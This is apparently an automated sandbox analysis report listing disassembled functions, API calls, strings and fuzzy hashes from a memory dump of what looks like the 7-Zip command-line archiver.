Opcode ID: c934d79802b123a65afdecf3c3c141401825e728ddd7393a0425fdd743619d48
Instruction ID: 25f6a094c070f6f231c30b195a40fc45bd6a4a0926f531f2f8ee41659bc5e453
Opcode Fuzzy Hash: c934d79802b123a65afdecf3c3c141401825e728ddd7393a0425fdd743619d48
Instruction Fuzzy Hash: E411A52324595095CA28EE25F8506EB5B209FD2BE0F485231FEAA57665DF3ACCC6C700

Function 00117B70 Relevance: 9.1, APIs: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 0011794C: FindClose.KERNELBASE ref: 0011795E

SetLastError.KERNEL32 ref: 00117BAA
SetLastError.KERNEL32 ref: 00117BB9
FindFirstStreamW.KERNELBASE ref: 00117BDB
GetLastError.KERNEL32 ref: 00117BEA

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ErrorLast$Find$CloseFirstStream
String ID:
API String ID: 4071060300-0
Opcode ID: a6e64fabe6673e363aad17d05dfc3ab5172c88e9485b2e4bf2568c0b8856aec2
Instruction ID: 999c0a533bcb7dc0a526992cb629ada0664d2748d1a37b5da904f558ed1f7f15
Opcode Fuzzy Hash: a6e64fabe6673e363aad17d05dfc3ab5172c88e9485b2e4bf2568c0b8856aec2
Instruction Fuzzy Hash: 03218136208B4192DA289B25E8443E96371EB9A774F545330EEBA477E4DF39C6C9C340

Function 0015CCF8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 0015CD1C
fputs.MSVCRT ref: 0015CD31
free.MSVCRT ref: 0015CDDC
free.MSVCRT ref: 0015CE23

Strings

(Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? , xrefs: 0015CD2A

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputsfree
String ID: (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit?
API String ID: 2581285248-171671738
Opcode ID: 4b5025059e70d1de0ed5aeed492243599037d1a5b9a8e456c84aaac635c9e110
Instruction ID: 5adce3d59f18818ab2f767b2de162f54bce80e3f740f779f619921a25b7d9670
Opcode Fuzzy Hash: 4b5025059e70d1de0ed5aeed492243599037d1a5b9a8e456c84aaac635c9e110
Instruction Fuzzy Hash: 99317832608744CADB349F14D8963E92771E3947A6F480136EF6A4B3A5DB2CC8E9D7C1

Function 001111B8 Relevance: 8.8, APIs: 7, Instructions: 84COMMON

Download Yara Rule

APIs

Part of subcall function 00113314: memmove.MSVCRT ref: 00113339

free.MSVCRT ref: 00111215
free.MSVCRT ref: 0011121D
free.MSVCRT ref: 001112AA
free.MSVCRT ref: 001112B5
free.MSVCRT ref: 001112C4
free.MSVCRT ref: 001112CF
free.MSVCRT ref: 001112DA

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 150ae877ff484c22bc24b8578f302cb24d5b1ad4491463f4b87d27cac02bb206
Instruction ID: 0295f6585c0c9f193b5c9f2bc6f77ca296dc76747ef51ab8619e2f2cba729ecf
Opcode Fuzzy Hash: 150ae877ff484c22bc24b8578f302cb24d5b1ad4491463f4b87d27cac02bb206
Instruction Fuzzy Hash: 5F21846221594061CA28EB24E8511DEA721EBD67D0F545231FF6E577ADDF38C6C6C700

Function 001564C4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00112300: fputc.MSVCRT ref: 00112311

fputs.MSVCRT ref: 001564EB
fputs.MSVCRT ref: 001564FB

Part of subcall function 00156460: fputs.MSVCRT ref: 001564B3

fputc.MSVCRT ref: 00156534
fputs.MSVCRT ref: 0015659B

Strings

Time =, xrefs: 001564F4

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs$fputc
String ID: Time =
API String ID: 1185151155-458291097
Opcode ID: 125f46871291328263d9a45044a61c5585df70acc1ace0c9469d427cba69f483
Instruction ID: 704ed49ad1797a46980789bfb54b370c3e6ec2a07b2c21fe307a434e4a00686b
Opcode Fuzzy Hash: 125f46871291328263d9a45044a61c5585df70acc1ace0c9469d427cba69f483
Instruction Fuzzy Hash: BF216365340A15C5FA08AF1AED513A65322B798FC5F48E039DD1E0B768DE38C85AC380

Function 0014F69C Relevance: 8.8, APIs: 7, Instructions: 66COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0014F6C5
memmove.MSVCRT ref: 0014F70E
free.MSVCRT ref: 0014F727
free.MSVCRT ref: 0014F72F
memmove.MSVCRT ref: 0014F74B
LeaveCriticalSection.KERNEL32 ref: 0014F757
_CxxThrowException.MSVCRT ref: 0014F773

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: CriticalSectionfreememmove$EnterExceptionLeaveThrow
String ID:
API String ID: 202075352-0
Opcode ID: c1de02b68f69ecc8d262e9e614d11b3dc807500ecf55debccae22723f41cb44a
Instruction ID: 73bd574b70fa5896c67f508a5d98857bb3c59aae096864e063c137383b475224
Opcode Fuzzy Hash: c1de02b68f69ecc8d262e9e614d11b3dc807500ecf55debccae22723f41cb44a
Instruction Fuzzy Hash: F921A477220654D6C764DF26D4456AC7321F345BE6F901329EF29076A4DF39C886CB40

Function 0011ABB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 58libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0011ABD1
GetProcAddress.KERNEL32 ref: 0011ABE1
GetDiskFreeSpaceW.KERNEL32 ref: 0011AC32

Strings

GetDiskFreeSpaceExW, xrefs: 0011ABD7
kernel32.dll, xrefs: 0011ABBE

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: AddressDiskFreeHandleModuleProcSpace
String ID: GetDiskFreeSpaceExW$kernel32.dll
API String ID: 1197914913-1127948838
Opcode ID: 91232d8e4c27da98ed619dc657d8975082bad2379c6f63f0bea740be7d830b66
Instruction ID: 7cb865fdc6c2b1b2e2d75ce6e06aceb008e17bd447cb90c484858614168691ae
Opcode Fuzzy Hash: 91232d8e4c27da98ed619dc657d8975082bad2379c6f63f0bea740be7d830b66
Instruction Fuzzy Hash: 52118973216F4696DB11CF55F880B9AB364F794B81F445022EB8E07728EF38C559CB00

Function 0013D078 Relevance: 8.8, APIs: 7, Instructions: 53COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0013D0AB
free.MSVCRT ref: 0013D0B8
free.MSVCRT ref: 0013D0EB
free.MSVCRT ref: 0013D0F3
free.MSVCRT ref: 0013D103
free.MSVCRT ref: 0013D10D
free.MSVCRT ref: 0013D117

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e14598800cbc14b63090d73ae88cee87996ce6beccad5b2fb40a6b4c20696fd9
Instruction ID: a4350275e275eddd43124a4e584e45802b6796cc1f4c02663de35e0f38f6c780
Opcode Fuzzy Hash: e14598800cbc14b63090d73ae88cee87996ce6beccad5b2fb40a6b4c20696fd9
Instruction Fuzzy Hash: B0110C2320298495CB19EF35E8516A92320EB97FA8F1D4371EF6D577A9CF34C896C314

Function 001394A8 Relevance: 8.8, APIs: 7, Instructions: 53COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 001394DB
free.MSVCRT ref: 001394E3
free.MSVCRT ref: 001394F0
free.MSVCRT ref: 0013951C
free.MSVCRT ref: 00139525
free.MSVCRT ref: 0013952D
free.MSVCRT ref: 0013953A

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 5256221f962b44b0bae35b382dbe45db83359140e8ddd7a193f45a58e1d598c8
Instruction ID: 91eb138fbf726ad267d8333e2e800e31d962f635207783187f6067a712c0a8d1
Opcode Fuzzy Hash: 5256221f962b44b0bae35b382dbe45db83359140e8ddd7a193f45a58e1d598c8
Instruction Fuzzy Hash: B9016523B0198099CB29EE26DD511A86321EBA6FE4B1D0376DF2D1B759DF70CC928340

Function 0014ECDC Relevance: 8.8, APIs: 7, Instructions: 53COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0014ED0F
free.MSVCRT ref: 0014ED1C
free.MSVCRT ref: 0014ED29
free.MSVCRT ref: 0014ED59
free.MSVCRT ref: 0014ED61
free.MSVCRT ref: 0014ED6E
free.MSVCRT ref: 0014ED78

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: a7c0efb318bb74a8d890d53e5fdb20e58762af4d74ce4d6a5953f08b0b6776bf
Instruction ID: 6dfe1e6e63fa4f2026bb0e5ffc5361871fab8322cb398383bb03aef74cbed71f
Opcode Fuzzy Hash: a7c0efb318bb74a8d890d53e5fdb20e58762af4d74ce4d6a5953f08b0b6776bf
Instruction Fuzzy Hash: 9411F72274299095CA24EE35D8516AD2720EB97FA8B1C4371EF6D5B7A9CF20C896C350

Function 00156B3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00156B7C

Part of subcall function 00116618: FormatMessageW.KERNEL32 ref: 00116676
Part of subcall function 00116618: LocalFree.KERNEL32 ref: 00116698

Part of subcall function 00112320: free.MSVCRT ref: 0011237E
Part of subcall function 00112320: fputs.MSVCRT ref: 001123B8
Part of subcall function 00112320: free.MSVCRT ref: 001123C4

Part of subcall function 00112300: fputc.MSVCRT ref: 00112311

free.MSVCRT ref: 00156BAE
fputs.MSVCRT ref: 00156BCC

Strings

: , xrefs: 00156B75
----------------, xrefs: 00156BC5

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputsfree$FormatFreeLocalMessagefputc
String ID: : $----------------
API String ID: 1215563195-4071417161
Opcode ID: a844113c29b51b67a554de1085d4dbdaa26cfeae81c93ca6df2fe7833a2ff0cb
Instruction ID: 26813db8faaa711a97801bc05c6c53ecf3882a2a0b8a87b6dfbbae80500fc1cf
Opcode Fuzzy Hash: a844113c29b51b67a554de1085d4dbdaa26cfeae81c93ca6df2fe7833a2ff0cb
Instruction Fuzzy Hash: 21015B72700905D5DA24EF26E9906AE6321F799BE5F588235EE7E077A4CF38C896C700

Function 0015430C Relevance: 8.8, APIs: 7, Instructions: 40COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0015431C
free.MSVCRT ref: 00154325
free.MSVCRT ref: 0015432E
free.MSVCRT ref: 00154337
free.MSVCRT ref: 00154362
free.MSVCRT ref: 0015436B
free.MSVCRT ref: 00154373

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 68bdc44b06e71d8ca899e980b2fc608d9b8ec41ef539896fcf9a05c16de42b60
Instruction ID: 17d39f0d3e70b3e6c4af4a6c6a3d14eb0df8f7789a19a3d54f97a249b839b100
Opcode Fuzzy Hash: 68bdc44b06e71d8ca899e980b2fc608d9b8ec41ef539896fcf9a05c16de42b60
Instruction Fuzzy Hash: 5EF0CD1371185495CA59EF26DD511AC2720ABA7FD971D4271EF2D5F365CF30C8E28380

Function 0015BCA4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 0015BCD4

Part of subcall function 00112320: free.MSVCRT ref: 0011237E
Part of subcall function 00112320: fputs.MSVCRT ref: 001123B8
Part of subcall function 00112320: free.MSVCRT ref: 001123C4

fputs.MSVCRT ref: 0015BD17

Part of subcall function 00112300: fputc.MSVCRT ref: 00112311

free.MSVCRT ref: 0015BD2B

Strings

Write SFX: , xrefs: 0015BCCD
: , xrefs: 0015BCE9

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputsfree$fputc
String ID: : $Write SFX:
API String ID: 3584323934-2530961540
Opcode ID: 0858727a3d2188373386701502e4491ffbda9cac782742d358bcdb59749fd626
Instruction ID: 1639257e110b3777230b1c2da6d3e556a110003fabcd97c6a36cd7ab13131e82
Opcode Fuzzy Hash: 0858727a3d2188373386701502e4491ffbda9cac782742d358bcdb59749fd626
Instruction Fuzzy Hash: 420121A231094080DE20DF25EC5439A6321F799FE9F489231AE6E4B7A8DF28C58AC300

Function 0015BB18 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 34COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 0015BB49
fputs.MSVCRT ref: 0015BB76

Part of subcall function 00112568: free.MSVCRT ref: 001125B5
Part of subcall function 00112568: free.MSVCRT ref: 001125C0

Strings

Creating archive: , xrefs: 0015BB3E
StdOut, xrefs: 0015BB6C
Updating archive: , xrefs: 0015BB34

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputsfree
String ID: Creating archive: $StdOut$Updating archive:
API String ID: 2581285248-1319951512
Opcode ID: fa99d9322174690535497a2fdc6b3fb821a8ef614adec2876cfee3e0304a3bf5
Instruction ID: 1fb98568372722b946955f3883c7d186a9e2cc42fd6ebf2e25cfec1648670ced
Opcode Fuzzy Hash: fa99d9322174690535497a2fdc6b3fb821a8ef614adec2876cfee3e0304a3bf5
Instruction Fuzzy Hash: 5AF049A5315A45C1EE49DF26EA943AC6322BB48FD5F48D432DE1E0B368DF2CC499C300

Function 0011ECDC Relevance: 8.8, APIs: 7, Instructions: 21COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0011ECE9
free.MSVCRT ref: 0011ECF2
free.MSVCRT ref: 0011ECFB
free.MSVCRT ref: 0011ED04
free.MSVCRT ref: 0011ED0D
free.MSVCRT ref: 0011ED16
free.MSVCRT ref: 0011ED1F

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: a6ffee1f7beb7570a11c572b2a51825e1f9c21a757c731fd3d53281771c8903a
Instruction ID: b84d2001590f37840f075c11227bd93258bc7b6b2ddb067e94523913c3121c47
Opcode Fuzzy Hash: a6ffee1f7beb7570a11c572b2a51825e1f9c21a757c731fd3d53281771c8903a
Instruction Fuzzy Hash: 5CE0DC1261040491DB18FF76DC9116C2324E7E7F447181171DF2D4B325CF30C8A28384

Function 00123F0C Relevance: 7.7, APIs: 6, Instructions: 191COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00123F5A
free.MSVCRT ref: 00123F62
free.MSVCRT ref: 00123FC0
free.MSVCRT ref: 00123FC8
free.MSVCRT ref: 00124007
free.MSVCRT ref: 0012400F

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 167d3dd7d05659914fe51c99b092b0523b74a4040e8688ef161580a56a1d8b48
Instruction ID: a7fe766d33baa7e29291702a572cf3527ed76353b32a0e82ef366842464c81aa
Opcode Fuzzy Hash: 167d3dd7d05659914fe51c99b092b0523b74a4040e8688ef161580a56a1d8b48
Instruction Fuzzy Hash: 7B814573305AD085CB14EF2AE8802ED77A1F795F98F494122DE690BB69CF39C896C311

Function 0013E954 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 182COMMON

Download Yara Rule

Strings

Q, xrefs: 0013E9E8

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID:
String ID: Q
API String ID: 0-3463352047
Opcode ID: f10b8452263e2253671aa6e26e66aae54564acf07f5c2ea8efc5759ba0d9d814
Instruction ID: a6b2a252ef75380e2dbacd7db1824e40e469d2962a1f6953511e8df643807d16
Opcode Fuzzy Hash: f10b8452263e2253671aa6e26e66aae54564acf07f5c2ea8efc5759ba0d9d814
Instruction Fuzzy Hash: 08619362318B80C2CB24DF25E48066EB7A1F7D5B94F555221FB9B577A8DF38C895CB00

Function 001288EC Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 138COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00128930

Strings

act:, xrefs: 001289E3
cpus:, xrefs: 00128A0D
gran:, xrefs: 00128A7B
page:, xrefs: 00128A30

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID: act:$ cpus:$ gran:$ page:
API String ID: 1294909896-454015223
Opcode ID: 76ce10e08a2d6057f8ef9cd9582c59867cc4f4bd53d0f5b9092ac68896eb7e3a
Instruction ID: de1ade30812b0fff454ccad012a80e9561c63c3bd9d57da1f08498022cf89605
Opcode Fuzzy Hash: 76ce10e08a2d6057f8ef9cd9582c59867cc4f4bd53d0f5b9092ac68896eb7e3a
Instruction Fuzzy Hash: ED51E375342651A6DE2CEB16F9513E82321EB9A7D0F889232DA0B47B58DF78C5F1C340

Function 00120160 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 123COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 001201D7
_CxxThrowException.MSVCRT ref: 001202EA

Part of subcall function 0011FD30: _CxxThrowException.MSVCRT ref: 0011FE50

_CxxThrowException.MSVCRT ref: 0012031F

Strings

There is no second file name for rename pair:, xrefs: 00120302
Empty file path, xrefs: 001202CD

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ExceptionThrow$free
String ID: Empty file path$There is no second file name for rename pair:
API String ID: 3129652135-1725603831
Opcode ID: 5b9fd34c360db10dc0dd9c3cf23a0ee1fe89007478e2cf63242fd60c53b15542
Instruction ID: 9ea5577693868acb147af6b88e1e7af87739d3c5332cc36cd696a7a68c978204
Opcode Fuzzy Hash: 5b9fd34c360db10dc0dd9c3cf23a0ee1fe89007478e2cf63242fd60c53b15542
Instruction Fuzzy Hash: D141C372208694C6CA35DB19F84079E6760F3997B4F504316EEB9077EADB38C5A5CB40

Function 001303BC Relevance: 7.6, APIs: 5, Instructions: 108COMMON

Download Yara Rule

APIs

GetFileSecurityW.ADVAPI32 ref: 00130415
GetLastError.KERNEL32 ref: 00130448

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ErrorFileLastSecurity
String ID:
API String ID: 555121230-0
Opcode ID: 4264c5047130bf6628e170ce92b62f2488e22dc27d517a212768e73cfea52f87
Instruction ID: 6b4a75529912757cb373484e0db561ae84e05621aabcc905f1b9a461d97806f7
Opcode Fuzzy Hash: 4264c5047130bf6628e170ce92b62f2488e22dc27d517a212768e73cfea52f87
Instruction Fuzzy Hash: 46419E33300A8496CB61CF26E8547AA73A6F388B98F594135DF5A8B714DF30CC8AC751

Function 0014E580 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0014E5C5
free.MSVCRT ref: 0014E669

Strings

#, xrefs: 0014E677

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
